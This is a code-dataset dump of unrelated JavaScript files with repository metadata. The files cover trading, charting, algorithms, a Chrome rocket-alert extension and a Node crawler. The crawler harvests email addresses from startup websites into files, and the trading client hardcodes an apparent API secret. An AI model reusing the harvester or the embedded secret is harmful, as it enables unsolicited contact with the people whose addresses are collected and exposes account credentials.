blob_id
stringlengths 40
40
| language
stringclasses 1
value | repo_name
stringlengths 5
132
| path
stringlengths 3
236
| src_encoding
stringclasses 29
values | length_bytes
int64 8
7.94M
| score
float64 2.52
5.72
| int_score
int64 3
5
| detected_licenses
listlengths 0
142
| license_type
stringclasses 2
values | text
stringlengths 8
7.94M
| download_success
bool 1
class |
---|---|---|---|---|---|---|---|---|---|---|---|
f08d1972872096505a5aff9c1dfaaf3dcd43ef25
|
JavaScript
|
hunterxx0/holbertonschool-web_back_end
|
/0x11-ES6_data_manipulation/2-get_students_by_loc.js
|
UTF-8
| 132 | 2.625 | 3 |
[] |
no_license
|
export default function getStudentsByLocation(StudentsList, city) {
return StudentsList.filter((obj) => obj.location === city);
}
| true |
d005cab745383576a851e12d7168b6fe03482696
|
JavaScript
|
highjinker/Boond
|
/src/main/webapp/script/xhrHelper.js
|
UTF-8
| 1,191 | 2.78125 | 3 |
[] |
no_license
|
function xhrHelper(){}
xhrHelper.runHttpRequest = function(method, url, isAsync, callback, postData, headers, callbackArguments, errorCallback)
{
if(MyUtils.isNull(method) || MyUtils.isNull(url) || MyUtils.isNull(isAsync)){
throw "Method/URL/isAsync cannot be null";
}
if(method == "POST" && MyUtils.isNull(postData)){
throw "postData cannot be null when the method is POST";
}
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200){
if(!MyUtils.isNull(callback)){
callback(xmlhttp.responseText, callbackArguments);
}
} else {
if(!MyUtils.isNull(errorCallback)){
errorCallback(xmlhttp.responseText, callbackArguments);
}
}
}
xmlhttp.open(method,url,isAsync);
if(!MyUtils.isNull(headers)){
for(header in headers){
xmlhttp.setRequestHeader(header, headers[header]);
}
}
console.log(xmlhttp);
if(MyUtils.isNull(postData)){
xmlhttp.send();
} else {
xmlhttp.send(JSON.stringify(postData));
}
}
| true |
602920bf3300736d680aa96c9036f46593b18eea
|
JavaScript
|
cobotgil/example-api-js
|
/tutorial/WebSockets/EX-12a-Calculating-Open-PL-Solution/src/app.js
|
UTF-8
| 3,957 | 2.546875 | 3 |
[] |
no_license
|
import { connect } from './connect'
import { tvGet, tvPost } from './services'
import { isMobile } from './utils/isMobile'
import { DeviceUUID } from "device-uuid"
import { getAvailableAccounts, queryAvailableAccounts, setAccessToken, getDeviceId, setDeviceId } from './storage'
import { renderPos } from './renderPosition'
import { TradovateSocket } from './TradovateSocket'
import { MDS_URL, WSS_URL } from './env'
import { MarketDataSocket } from './MarketDataSocket'
//MOBILE DEVICE DETECTION
let DEVICE_ID
if(!isMobile()) {
const device = getDeviceId()
DEVICE_ID = device || new DeviceUUID().get()
setDeviceId(DEVICE_ID)
} else {
DEVICE_ID = new DeviceUUID().get()
}
//get relevant UI elements
const $buyBtn = document.getElementById('buy-btn'),
$sellBtn = document.getElementById('sell-btn'),
$posList = document.getElementById('position-list'),
$symbol = document.getElementById('symbol'),
$openPL = document.getElementById('open-pl'),
$qty = document.getElementById('qty')
//Setup events for active UI elements.
const setupUI = (socket) => {
const onClick = (buyOrSell = 'Buy') => async () => {
//first available account
const { name, id } = getAvailableAccounts()[0]
if(!$symbol.value) return
let { orderId } = await tvPost('/order/placeOrder', {
action: buyOrSell,
symbol: $symbol.value,
orderQty: parseInt($qty.value, 10),
orderType: 'Market',
accountName: name,
accountId: id
})
console.log(orderId)
await socket.synchronize()
}
$buyBtn.addEventListener('click', onClick('Buy'))
$sellBtn.addEventListener('click', onClick('Sell'))
}
//APPLICATION ENTRY POINT
const main = async () => {
const pls = []
const runPL = () => {
const totalPL = pls.map(({pl}) => pl).reduce((a, b) => a + b, 0)
$openPL.innerHTML = ` $${totalPL.toFixed(2)}`
}
//Connect to the tradovate API by retrieving an access token
await connect({
name: "<Your Credentials Here>",
password: "<Your Credentials Here>",
appId: "Sample App",
appVersion: "1.0",
cid: 8,
sec: 'f03741b6-f634-48d6-9308-c8fb871150c2',
deviceId: DEVICE_ID
})
const socket = new TradovateSocket()
await socket.connect(WSS_URL)
const mdsocket = new MarketDataSocket()
await mdsocket.connect(MDS_URL)
socket.onSync(({positions, contracts, products}) => {
positions.forEach(async pos => {
if(pos.netPos === 0 && pos.prevPos === 0) return
const { name } = contracts.find(c => c.id === pos.contractId)
//get the value per point from the product catalogue
let item = products.find(p => p.name.startsWith(name))
let vpp = item.valuePerPoint
await mdsocket.subscribeQuote(name, ({Trade}) => {
let buy = pos.netPrice ? pos.netPrice : pos.prevPrice
const { price } = Trade
let pl = (price - buy) * vpp * pos.netPos
const element = document.createElement('div')
element.innerHTML = renderPos(name, pl, pos.netPos)
const $maybeItem = document.querySelector(`#position-list li[data-name="${name}"`)
$maybeItem ? $maybeItem.innerHTML = renderPos(name, pl, pos.netPos) : $posList.appendChild(element)
const maybePL = pls.find(p => p.name === name)
if(maybePL) {
maybePL.pl = pl
} else {
pls.push({ name, pl })
}
runPL()
})
})
})
await socket.synchronize()
setupUI(socket)
}
//START APP
main()
| true |
20b79246f2d4e0afd4fc11fb4010a1e1be23447d
|
JavaScript
|
hoppfull/Learning-FSharp
|
/WebServer/BankApp v1/validation.js
|
UTF-8
| 346 | 2.90625 | 3 |
[
"MIT"
] |
permissive
|
function validateCredentials(username, password) {
const usernamePattern = /^[a-zA-Z0-9-_.@]{4,}$/
const passwordPattern = /^[a-zA-Z0-9-_ .]{8,}$/
const usernameIsValid = username.match(usernamePattern) !== null
const passwordIsValid = password.match(passwordPattern) !== null
return { usernameIsValid, passwordIsValid }
}
| true |
8f373fa3108df1f3c887288e61f20a67b44c6ec0
|
JavaScript
|
sumitchohan/sumitchohan.github.io
|
/ExtJs/output.jsbin.com.js
|
UTF-8
| 1,263 | 2.921875 | 3 |
[] |
no_license
|
function delay(ms) {
return new Promise(function (resolve) {
setTimeout(resolve, ms);
});
}
function download(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(text));
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
(async () => {
if (document.location.href.indexOf('meyatej') >= 0) {
await delay(3000);
CreateFile();
await delay(3000);
CreateFile();
await delay(3000);
CreateFile();
await delay(3000);
CreateFile();
}
else if (document.location.href.indexOf('pelupez') >= 0) {
await delay(3000);
document.getElementById('msg').innerText='downloading file 2';
await delay(3000);
document.getElementById('btn').click();
await delay(3000);
try{
//download('file1.txt', 'file content');
document.getElementById('link1').click();
}
catch(e){
document.getElementById('msg').innerText=JSON.stringify(e);
}
}
})();
| true |
aaee6674611e2b9cdc8107dd1e6dff63e046e42f
|
JavaScript
|
axelduch/perlin-experiment
|
/main.js
|
UTF-8
| 2,478 | 2.625 | 3 |
[] |
no_license
|
(function (window, document, undefined) {
'use strict';
var c = document.getElementById('canvas'),
ctx = c.getContext('2d'),
w = c.width,
h = c.height,
cx = w * .5,
cy = h * .5,
t = 0.000006,
size = 4,
delay = 30,
mouseX = w *.5,
mouseY = h * .5;
c.addEventListener('mousemove', function (event) {
mouseX = event.clientX;
mouseY = event.clientY;
});
ctx.fillStyle = '#000001';
ctx.save();
var zoomOutSquares = function fn(ctx, x, y) {
fn.cache = fn.cache || {iteration: 0}
var iteration = fn.cache.iteration;
ctx.globalAlpha = Math.min(.8, noise(
Math.cos((x - y) / size *(iteration*t)),
Math.sin((x + y) / size * (iteration*t)),
noise(iteration/size*0.000001, t, t*t)
));
ctx.fillRect(x, y, size, size);
fn.cache.iteration = (iteration + 1) % (2<<19);
},
zoomOut = function fn(ctx, x, y) {
fn.cache = fn.cache || {iteration: 2<<12, direction: 1, ax: 0, ay: 0, vx: 0, vy: 0};
fn.cache.ax += (mouseX - cx) * .01;
fn.cache.ay += (mouseY - cy) * .01;
var iteration = fn.cache.iteration,
ax = fn.cache.ax,
ay = fn.cache.ay,
vx = fn.cache.vx,
vy = fn.cache.vy,
s = Math.sin(0.000000002 * iteration * (y - x*x*t)),
c = Math.cos(0.000000001 * iteration * (x + y * y * t));
ctx.globalAlpha = Math.min(.4, noise(
(s*s + (c*c)) * noise(Math.atan2(s, c), 1, s),
s * c - y * t,
noise(x * t, t * y, x * y * t * t)
));
ctx.save();
ctx.fillStyle = '#a00';
ctx.fillRect(x, y, size, size);
ctx.restore();
if (iteration < 0 || iteration >= (2<<19)) {
fn.cache.direction *= -1;
}
fn.cache.vx += ax;
fn.cache.vy += ay;
fn.cache.iteration = (iteration + fn.cache.direction);
};
setTimeout(function fn() {
ctx.globalAlpha = .8;
ctx.fillStyle = '#fff';
ctx.fillRect(0, 0, w, h);
ctx.restore();
ctx.save();
for (var x = 0, y; x < w; x += size) {
for (y = 0; y < h; y += size) {
zoomOutSquares(ctx, x, y);
// zoomOut(ctx, x, y);
}
}
setTimeout(fn, delay);
}, delay);
}(window, document));
| true |
79b31086e8ec894e83420e123448a99c38467425
|
JavaScript
|
EeshanPandey/healthassess
|
/.history/src/components/Piechart_20210712180450.js
|
UTF-8
| 1,431 | 2.546875 | 3 |
[] |
no_license
|
import React from "react";
import Plot from "react-plotly.js";
var cityis = [];
var canclist = [];
var typlist = [];
fetch('/piechart').then(res => res.json()).then(data => {
// const cities = Array.from(data.city)
// const cancer =
// cityis=Array.from(data.city);
sessionStorage.setItem('city', JSON.stringify(data.city));
sessionStorage.setItem('typ', JSON.stringify(data.typ));
// canclist=Array.from(data.canc);
// typlist=Array.from(data.canc);
// console.log(cityis);
})
class Piechart extends React.Component {
constructor(props) {
super(props);
let cityData = JSON.parse(sessionStorage.getItem('city'));
let typData = JSON.parse(sessionStorage.getItem('typ'));
this.state = {
data: [{
values: typData,
labels: cityData,
type: 'pie'
}],
layout: {
height: 220,
width: 400,
title: "Hepatitis cases",
margin: {
l: 60,
r: 10,
b: 0,
t: 50,
pad: 4
}
}
};
}
render() {
return (
<div style={{ width: "100%", height: "100%", marginLeft: 100, marginTop: 10 }}>
<Plot
data={this.state.data}
layout={this.state.layout}
onInitialized={(figure) => this.setState(figure)}
onUpdate={(figure) => this.setState(figure)}
/>
</div>
);
}
}
export default Piechart;
| true |
7132a49a89dba432fd4a7e1ccf4b7406053536fe
|
JavaScript
|
Brian-Demon/Scheduling-App-Google-Script
|
/Get Mondays.gs
|
UTF-8
| 254 | 2.90625 | 3 |
[] |
no_license
|
function getMondays() {
let array = [];
let sheet = ssData.getSheetByName('Mondays');
let lastRow = sheet.getLastRow();
for( r = 1; r <= lastRow; r++ ){
let value = sheet.getRange(r, 1).getValue();
array.push(value);
}
return array;
}
| true |
22e1b1361b36ed196e389b1c27430e5fb84add25
|
JavaScript
|
axelcorrea/ReactJS-Basico
|
/clase-dos/src/components/Lista.js
|
UTF-8
| 1,250 | 3.171875 | 3 |
[] |
no_license
|
import "bootstrap/dist/css/bootstrap.css";
/*const alumnos = [
<li className="list-group-item"> Milton Amado </li>,
<li className="list-group-item"> Jonatan Severo </li>,
<li className="list-group-item"> Ezequiel Lopez</li>,
<li className="list-group-item"> Augusto Soria</li>,
<li className="list-group-item"> Alejandro Emanuel</li>,
<li className="list-group-item"> Axel Correa</li>
]*/
const alumnos = [
{ id: 1, nombre: "Jonatan Severo" },
{ id: 2, nombre: "Esteban Calabria" },
{ id: 3, nombre: "Gustavo Bearzi" },
{ id: 4, nombre: "Pablo Curreti" }
]
const Lista = (props) => {
return (<>
<h4>Mis alumnos son:</h4>
<ul className="list-group">
{
//LLavecitas ()=>{} pongo el return
/*alumnos.map((alumno) => {
return <li key={alumno.id} className="list-group-item">
{alumno.nombre}
</li>
})*/
//()=>() va return implicito
alumnos.map((alumno, index) => (
<li key={index} className="list-group-item">
{alumno.nombre}
</li>
))
}
</ul>
</>)
}
export default Lista;
| true |
a5b65e0a3dfa0eea7bbba50275d03e9ff0c4ca7c
|
JavaScript
|
noyalreji/algo-matrix-binary
|
/matrix-binary.js
|
UTF-8
| 2,336 | 4.1875 | 4 |
[] |
no_license
|
// Javascript implementation to search
// an element in a sorted matrix
let MAX = 100;
// This function does Binary search for x in i-th
// row. It does the search from mat[i][j_low] to
// mat[i][j_high]
function binarySearch(mat, i, j_low, j_high, x)
{
while (j_low <= j_high)
{
let j_mid = Math.floor((j_low + j_high) / 2);
// Element found
if (mat[i][j_mid] == x)
{
console.log("Found at (" + i + ", " +
j_mid +")");
return;
}
else if (mat[i][j_mid] > x)
j_high = j_mid - 1;
else
j_low = j_mid + 1;
}
}
// Function to perform binary search on the mid
// values of row to get the desired pair of rows
// where the element can be found
function sortedMatrixSearch(mat, n, m, x)
{
// Single row matrix
if (n == 1)
{
binarySearch(mat, 0, 0, m - 1, x);
return;
}
// Do binary search in middle column.
// Condition to terminate the loop when the
// 2 desired rows are found
let i_low = 0;
let i_high = n - 1;
let j_mid = Math.floor(m / 2);
while ((i_low + 1) < i_high)
{
let i_mid = Math.floor((i_low + i_high) / 2);
// Element found
if (mat[i_mid][j_mid] == x)
{
console.log();("Found at (" + i_mid +
", " + j_mid +")");
return;
}
else if (mat[i_mid][j_mid] > x)
i_high = i_mid;
else
i_low = i_mid;
}
// If element is present on
// the mid of the two rows
if (mat[i_low][j_mid] == x)
console.log("Found at (" + i_low +
"," + j_mid +")");
else if (mat[i_low + 1][j_mid] == x)
console.log("Found at (" + (i_low + 1) +
", " + j_mid +")");
// Search element on 1st half of 1st row
else if (x <= mat[i_low][j_mid - 1])
binarySearch(mat, i_low, 0, j_mid - 1, x);
// Search element on 2nd half of 1st row
else if (x >= mat[i_low][j_mid + 1] &&
x <= mat[i_low][m - 1])
binarySearch(mat, i_low, j_mid + 1,
m - 1, x);
// Search element on 1st half of 2nd row
else if (x <= mat[i_low + 1][j_mid - 1])
binarySearch(mat, i_low + 1, 0,
j_mid - 1, x);
// search element on 2nd half of 2nd row
else
binarySearch(mat, i_low + 1, j_mid + 1,
m - 1, x);
}
// Driver code
let n = 4, m = 5, x = 8;
let mat = [ [ 0, 6, 8, 9, 11 ],
[ 20, 22, 28, 29, 31 ],
[ 36, 38, 50, 61, 63 ],
[ 64, 66, 100, 122, 128 ] ];
sortedMatrixSearch(mat, n, m, x);
// This code is contributed by ab2127
| true |
4f769e4c191225509bf7b39a4ee2a5cd14f7d3b2
|
JavaScript
|
joseluis0218/Pasantias_broderjobs
|
/instituto/static/js/buscar_cvs.js
|
UTF-8
| 1,007 | 2.53125 | 3 |
[] |
no_license
|
$( "select" )
.change(function() {
var rama = "";
var grado = "";
var genero = "";
var tiempo = "";
var ciudad = "";
$( "#select_rama option:selected" ).each(function() {
rama = $( this ).text();
console.log(rama);
});
$( "#select_grado option:selected" ).each(function() {
grado = $( this ).text();
// console.log(grado);
});
$( "#select_genero option:selected" ).each(function() {
genero = $( this ).text();
// console.log(genero);
});
$( "#select_tiempo option:selected" ).each(function() {
tiempo = $( this ).text();
// console.log(tiempo);
});
$( "#select_ciudad option:selected" ).each(function() {
ciudad = $( this ).text();
// console.log(ciudad);
});
var data = {
'rama' : rama,
};
$.ajax({
url : 'buscar_cvs/',
type : 'POST',
data : data,
success : function (json) {
console.log(json)
}
})
});
| true |
1610e7fa6655f234aa05f887370e5098974ba7b6
|
JavaScript
|
L-Lisa/project-todos
|
/code/src/components/ToDoSummary.js
|
UTF-8
| 1,107 | 2.578125 | 3 |
[] |
no_license
|
import React, { useState } from 'react'
import { useSelector } from 'react-redux'
import { Emoji } from "../library/Emoji"
import { Title, Subtitle, P} from "library/Text"
export const ToDoSummary = () => {
const items = useSelector(state => state.ToDo.items)
const doneItem = items.filter(item => item.completed)
const [showSuccess, setShowShoppingList] = useState(false)
return (
<div>
<Title>You have {doneItem.length} of {items.length} possible win{items.length ===1?".":"s"}!</Title>
{ doneItem.length === items.length && ( <Title> Well, done!!</Title>)
}
{showSuccess && (
<ul>
{doneItem.map(item => (
<li key={item.id}>⭐️{item.name}</li>
))}
</ul>
)}
<h2>
<span
type='button'
onClick={() => setShowShoppingList(!showSuccess)}>
<Subtitle>
<Emoji ariaLabel="arrow-down">↓</Emoji><P> Reasons to Celebrate </P><Emoji ariaLabel="champagne-bottle">🍾</Emoji>
</Subtitle>
</span>
</h2>
</div>
)
}
| true |
6336a9c9daeb7a588205952d9ad131ccd71984bb
|
JavaScript
|
obiwankenoobi/startupEmailCrawler
|
/lib/lib.js
|
UTF-8
| 6,552 | 2.796875 | 3 |
[] |
no_license
|
const request = require("request");
const cheerio = require("cheerio");
const exec = require("child_process").exec;
const ProgressBar = require("progress");
const wordsToIgnore = require("./wordsToIgnore");
let emails = [];
let visited = [];
let count = 0;
let maxDepth;
let maxCallsInASite;
let baseURL = "";
let tags = "";
function progressBar(length) {
const bar = new ProgressBar(":bar", { total: length });
const timer = setInterval(function() {
bar.tick();
if (bar.complete) {
console.log("Get yourself a ☕.. it might take a while!\n");
clearInterval(timer);
}
}, 3);
}
function validateEmail(email) {
const re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(String(email).toLowerCase());
}
function getLink(
url,
tags,
depth,
startupName,
mode,
country,
numberOfCallsInASite
) {
/**
** @ { prop:String } url - the url to crawl
** @ { prop:String } tags - the tags to get
** @ { prop:Number } depth - how deep we crawled
** @ { prop:String } startupName - the name of the startup so the crawler only go to links with that string in it
** @ { prop:String } mode - the mode of the crawler (sniper / reg)
** @ { prop:String } country - the coutry to crawl
** @ { prop:Number } numberOfCallsInASite - the number of times we made a call in a single site
*/
let body = "";
try {
request.get(url).on("response", res => {
res.on("error", e => {
console.log("error loading page");
exec(`echo getLink: ${e}, >> logs--errors.log`);
});
res.on("data", chunk => {
body += chunk;
});
res.on("close", () => {
console.log("connection closed");
});
res.on("end", () => {
const page = cheerio.load(body);
const li = page(tags);
const liArr = Array.from(li);
liArr.map((i, index) => {
let toIgnore = false;
if (i.attribs.href) {
for (let item = 0; item < wordsToIgnore.length; item++) {
if (i.attribs.href.includes(wordsToIgnore[item])) {
toIgnore = true;
break;
}
}
}
if (i.attribs.href && toIgnore == false) {
const link = i.attribs.href
.replace("mailto:", "")
.replace("%20", "")
.toLowerCase();
if (link) {
// if link exist
if (validateEmail(link)) {
// if link is valid email
const exist = emails.find(i => i == link);
if (!exist) {
// if email not saved yet
if (mode == "sniper") {
exec(`echo ${link}, >> emailsSniper--${country}.txt`);
} else {
exec(`echo ${link}, >> emails--${country}.txt`);
}
emails.push(link);
console.log("found one!", link);
return;
}
} else {
if (
link.includes("http") &&
!link.includes("about.me") &&
link.includes(startupName)
) {
// if link isnt email
const isVisited = visited.find(i => i == link);
if (!isVisited || visited.length == 0) {
if (
depth < maxDepth &&
numberOfCallsInASite < maxCallsInASite
) {
numberOfCallsInASite++;
visited.push(link); // push to visited linkes
count++;
console.log(
`[${count}] call No: ${numberOfCallsInASite} => ${link}`
);
return setTimeout(
async () =>
await getLink(
link,
"a",
depth++,
startupName,
mode,
country,
numberOfCallsInASite
),
index * 1000
);
}
}
}
}
}
}
});
});
});
} catch (e) {
exec(`echo getLink: ${e}, >> logs--errors.log`);
console.log("error in request");
}
}
module.exports = (mode, country) => {
switch (country) {
case "global":
maxDepth = 3;
maxCallsInASite = 30;
baseURL = "https://www.startups-list.com";
tags = "a";
break;
case "israel":
maxDepth = 2;
maxCallsInASite = 30;
baseURL = "http://mappedinisrael.com/all-companies";
tags = ".mapme_company a";
break;
default:
maxDepth = 0;
maxCallsInASite = 0;
tags = "a";
}
process.on("uncaughtException", err => {
exec(`echo uncaughtException: ${err}, >> logs--errors.log`);
return;
});
process.on("exit", err => {
exec(`echo process exit, >> logs--errors.log`);
return;
});
if (mode == "sniper") {
console.log("starting crawling on sniper mode...");
} else {
console.log("starting crawling on regular mode...");
}
let body = "";
request.get(baseURL).on("response", res => {
res.on("error", e => console.log("error:", e));
res.on("data", chunk => {
body += chunk;
});
res.on("close", () => {
console.log("connection closed");
});
res.on("end", () => {
const page = cheerio.load(body);
const li = page("a");
const liArr = Array.from(li);
progressBar(liArr.length);
liArr.map((i, index) => {
let startupName = "";
if (mode == "sniper" && country == "israel") {
startupName = i.attribs.href.split("company/")[1];
if (startupName) {
startupName = startupName.toLowerCase();
if (startupName.includes("_")) {
startupName = startupName.split("_")[0];
}
}
}
return setTimeout(
getLink,
index * 1000,
i.attribs.href,
tags,
0,
startupName,
mode,
country,
0
);
});
});
});
};
| true |
1fd2874a9735b5457a1148335aaa506f658ff5c4
|
JavaScript
|
danyr/redalert
|
/bg.js
|
UTF-8
| 10,500 | 2.703125 | 3 |
[
"Apache-2.0"
] |
permissive
|
function CheckAlert() {
$.getJSON( "http://www.oref.org.il/WarningMessages/alerts.json", function( data ) {
//data.data = ["אשקלון 235, עוטף עזה 238, מנשה 102"];
correctData = CorrectDataFormat(data.data);
if (correctData.length > 0) {
console.log(Date());
console.log("Raw alarms: " + data.data.toString());
console.log("All alarms: " + correctData.toString());
newAlarms = UpdateValues(correctData ,currentAlarmDict);
if (newAlarms.length>0) {
setRedIcon();
console.info(Date());
notify(newAlarms);
console.info("New alarms: " + newAlarms.toString());
}
}
RemoveStaleValues(currentAlarmDict);
});
}
function CorrectDataFormat(rawData) {
newData = [];
if (rawData == null)
return null;
for(var i=0;i<rawData.length;i++) {
newData = $.merge(newData, rawData[i].split(","));
}
newData = $.map(newData, $.trim);
return newData;
}
function UpdateValues(data,dict) {
newValues = [];
for(var i=0;i<data.length;i++) {
if (!(data[i] in dict)) {
newValues.push(data[i]);
}
dict[data[i]] = Math.floor(alarmValidTime / refreshTime);
}
return newValues;
}
function RemoveStaleValues(data) {
for (var key in data) {
data[key]=data[key]-1;
if (data[key]<=0) {
delete data[key];
}
}
return data;
}
var alertCount = 0;
var prevData = [];
var refreshTime = 5000;
var alarmValidTime = 30000; //30 seconds
var currentAlarmDict = {};
window.setInterval(CheckAlert, refreshTime);
function setRedIcon() {
alertCount = alertCount + 1;
chrome.browserAction.setIcon({path:"red.png"});
chrome.browserAction.setBadgeText({text:alertCount.toString()});
}
function setGreenIcon() {
alertCount = 0;
chrome.browserAction.setBadgeText({text:""});
chrome.browserAction.setIcon({path:"green.png"});
}
function notify(data) {
var town_data = [];
for (i=0;i<data.length;i++) {
town_data.push(town_list[data[i]]);
}
var town_data_string = "";
utown_data = unique(town_data);
for (i=0;i<utown_data.length;i++) {
town_data_string = town_data_string + utown_data[i];
if (i<utown_data.length-1) {
town_data_string = town_data_string + ", ";
}
}
var opt = {
type: "basic",
title: "Alert",
message: town_data_string,
iconUrl: "alert_large.jpg"
};
chrome.notifications.create("", opt, function(id) {
});
console.info(town_data);
}
function unique(list) {
var uniq=list.filter(function(itm,i,list){
return i==list.indexOf(itm);
});
return uniq;
}
town_list = {
"אילת 311":"אילת",
"אשדוד 263":"תחנת הכוח אשדוד",
"אשדוד 264":"תחנת הכוח צפית",
"אשדוד 266":"יבנה",
"אשדוד 267":"מא חבל יבנה",
"אשדוד 268":"גדרה",
"אשדוד 271":"אשדוד",
"אשדוד 272":"מא באר טוביה",
"אשדוד 273":"גן יבנה",
"אשדוד 275":"מא באר טוביה",
"אשדוד 276":"מא שפיר",
"אשדוד 277":"כנף 2",
"אשדוד 278":"מא מטה יהודה",
"אשדוד 280":"מא שפיר",
"אשדוד 281":"מא שפיר",
"אשדוד 282":"מא יואב",
"אשדוד 282":"מא יואב",
"אשקלון 234":"מא אשכול",
"אשקלון 238":"מא אשכול",
"אשקלון 239":"תחנת הכוח רוטנברג",
"אשקלון 245":"מא חוף אשקלון",
"אשקלון 246":"אשקלון",
"אשקלון 247":"אזור תעשייה אשקלון",
"אשקלון 248":"מא חוף אשקלון",
"אשקלון 249":"מא לכיש",
"אשקלון 250":"מא חוף אשקלון",
"אשקלון 251":"מא שער הנגב",
"אשקלון 252":"מא שער הנגב",
"אשקלון 253":"מא מרחבים",
"אשקלון 254":"נתיבות",
"אשקלון 255":"מא בני שמעון",
"אשקלון 256":"מא אשכול",
"אשקלון 257":"מא אשכול",
"באר שבע 285":"אל בירה בהר חברון",
"באר שבע 286":"רהט",
"באר שבע 286":"מא בני שמעון",
"באר שבע 288":"אופקים",
"באר שבע 289":"אשל הנשיא בי''ס אזורי",
"באר שבע 291":"מא בני שמעון",
"באר שבע 292":"באר שבע",
"בית שמש 188":"בית שמש",
"בית שמש 189":"אבו גוש",
"בית שמש 190":"מבשרת ציון",
"בית שמש 191":"צור הדסה",
"בקעה 130":"מא ערבות הירדן",
"בקעה 131":"מא ערבות הירדן",
"בקעה 132":"מא ערבות הירדן",
"בקעה 133":"אלון",
"בקעת בית שאן 128":"בית שאן",
"גולן 1":"מג'דל שמס",
"גולן 2":"מא גולן",
"גולן 3":"מא גולן",
"גליל עליון 35":"מא מטה אשר",
"גליל עליון 37":"עכו",
"גליל עליון 38":"ירכא",
"גליל עליון 40":"מא משגב",
"גליל עליון 41":"יאנוח ג'ת",
"גליל עליון 42":"כרמיאל",
"גליל עליון 43":"בית ג'ן",
"גליל עליון 44":"מא מרום הגליל",
"גליל עליון 46":"ספסופה",
"גליל עליון 47":"מא הגליל העליון",
"גליל עליון 49":"צפת",
"גליל עליון 50":"חצור הגלילית",
"גליל תחתון 55":"מא הגליל התחתון",
"גליל תחתון 56":"טבריה",
"גליל תחתון 57":"עיילבון",
"גליל תחתון 60":"סח'נין",
"גליל תחתון 61":"מא הגליל התחתון",
"גליל תחתון 63":"שפרעם",
"דן 162":"חולון",
"דן 155":"רמת השרון",
"דן 157":"תל אביב יפו",
"דן 158":"תחנת הכוח רידינג",
"דן 160":"בני ברק",
"דן 161":"אור יהודה",
"הקריות 70":"אזור תעשייה נעמן",
"הקריות 71":"רכסים",
"חיפה 75":"חיפה",
"חיפה 77":"תחנת הכוח חיפה",
"חיפה 78":"נמל חיפה",
"יהודה 188":"אום עלאס",
"יהודה 200":"אבו נוג'ים",
"יהודה 206":"ביתר עילית",
"יהודה 207":"מא הר חברון",
"ים המלח 207":"ים המלח בתי מלון",
"ים המלח 210":"מא מגילות ים המלח",
"ירושלים 194":"ירושלים",
"כרמל 80":"נשר",
"כרמל 81":"עתלית",
"כרמל 82":"מא חוף הכרמל",
"מנשה 102":"זכרון יעקב",
"מנשה 103":"מא מגידו",
"מנשה 104":"מא אלונה",
"מנשה 105":"אור עקיבא",
"מנשה 106":"מא מנשה",
"מנשה 107":"חדרה",
"מנשה 108":"גבעת חביבה",
"מנשה 110":"תחנת הכוח חגית",
"מעלה אדומים 200":"מעלה אדומים",
"נגב 287":"תל שבע",
"נגב 296":"חורה",
"נגב 297":"אבו קוידר",
"נגב 299":"ערד",
"נגב 300":"אבו עפאש",
"נגב 301":"דימונה",
"נגב 302":"מא רמת נגב",
"נגב 305":"מצפה רמון",
"נגב 306":"תחנת הכוח רמת חובב",
"עוטף עזה 216":"מא שדות נגב",
"עוטף עזה 217":"מא חוף אשקלון",
"עוטף עזה 218":"מא חוף אשקלון",
"עוטף עזה 219":"מא שער הנגב",
"עוטף עזה 220":"שדרות",
"עוטף עזה 221":"מא שער הנגב",
"עוטף עזה 222":"מא שער הנגב",
"עוטף עזה 223":"מא שער הנגב",
"עוטף עזה 224":"מא שער הנגב",
"עוטף עזה 225":"מא שדות נגב",
"עוטף עזה 227":"מא אשכול",
"עוטף עזה 228":"מא אשכול",
"עוטף עזה 230":"מא אשכול",
"עוטף עזה 231":"מא אשכול",
"עוטף עזה 232":"מא אשכול",
"עוטף עזה 233":"מא אשכול",
"עוטף עזה 234":"מא אשכול",
"עוטף עזה 235":"כימדע",
"עוטף עזה 236":"מא אשכול",
"עוטף עזה 237":"מא אשכול",
"עוטף עזה 238":"מא אשכול",
"עוטף עזה 251":"מא חוף אשקלון",
"עירון 112":"ערערה",
"עירון 113":"מעלה עירון",
"עמק חפר 137":"אלי עד",
"עמק חפר 139":"טייבה",
"עמק חפר 149":"ג'ת",
"עמק חפר 150":"כפר יונה",
"עמק יזרעאל 86":"בסמת טבעון",
"עמק יזרעאל 87":"מגדל העמק",
"עמק יזרעאל 89":"מא עמק יזרעאל",
"עמק יזרעאל 90":"עפולה",
"עמק יזרעאל 93":"מא הגלבוע",
"עמק יזרעאל 94":"תחנת הכוח אלון תבור",
"ערבה 308":"מא חבל אילות",
"ערבה 310":"אזור תעשייה ספיר",
"קו העימות 14":"שלומי",
"קו העימות 15":"מא מטה אשר",
"קו העימות 16":"מא מעלה יוסף",
"קו העימות 17":"מא מעלה יוסף",
"קו העימות 19":"דוב''ב",
"קו העימות 20":"חורפיש",
"קו העימות 22":"מא מרום הגליל",
"קו העימות 23":"מא מרום הגליל",
"קו העימות 24":"מא מבואות החרמון",
"קו העימות 25":"מא הגליל העליון",
"קו העימות 26":"מא מבואות החרמון",
"קו העימות 28":"מא הגליל העליון",
"קו העימות 29":"מא מטה אשר",
"קו העימות 29":"מא מטה אשר",
"קו העימות 30":"בי''ס אזורי מקיף מטה אשר",
"קו העימות 31":"מא מטה אשר",
"קו העימות 32":"כפר ורדים",
"קצרין 10":"מא עמק הירדן",
"קצרין 7":"קצרין",
"שומרון 118":"אום א ריחאן",
"שומרון 119":"אום א תות",
"שומרון 120":"מא שומרון",
"שומרון 121":"אלפי מנשה",
"שומרון 122":"אריאל",
"שומרון 123":"בית אריה",
"שומרון 124":"אום ספא",
"שומרון 125":"אזור תעשייה שער בנימין",
"שומרון 126":"כוכב יעקב",
"שומרון 127":"גבעת זאב",
"שפלה 168":"פתח תקווה",
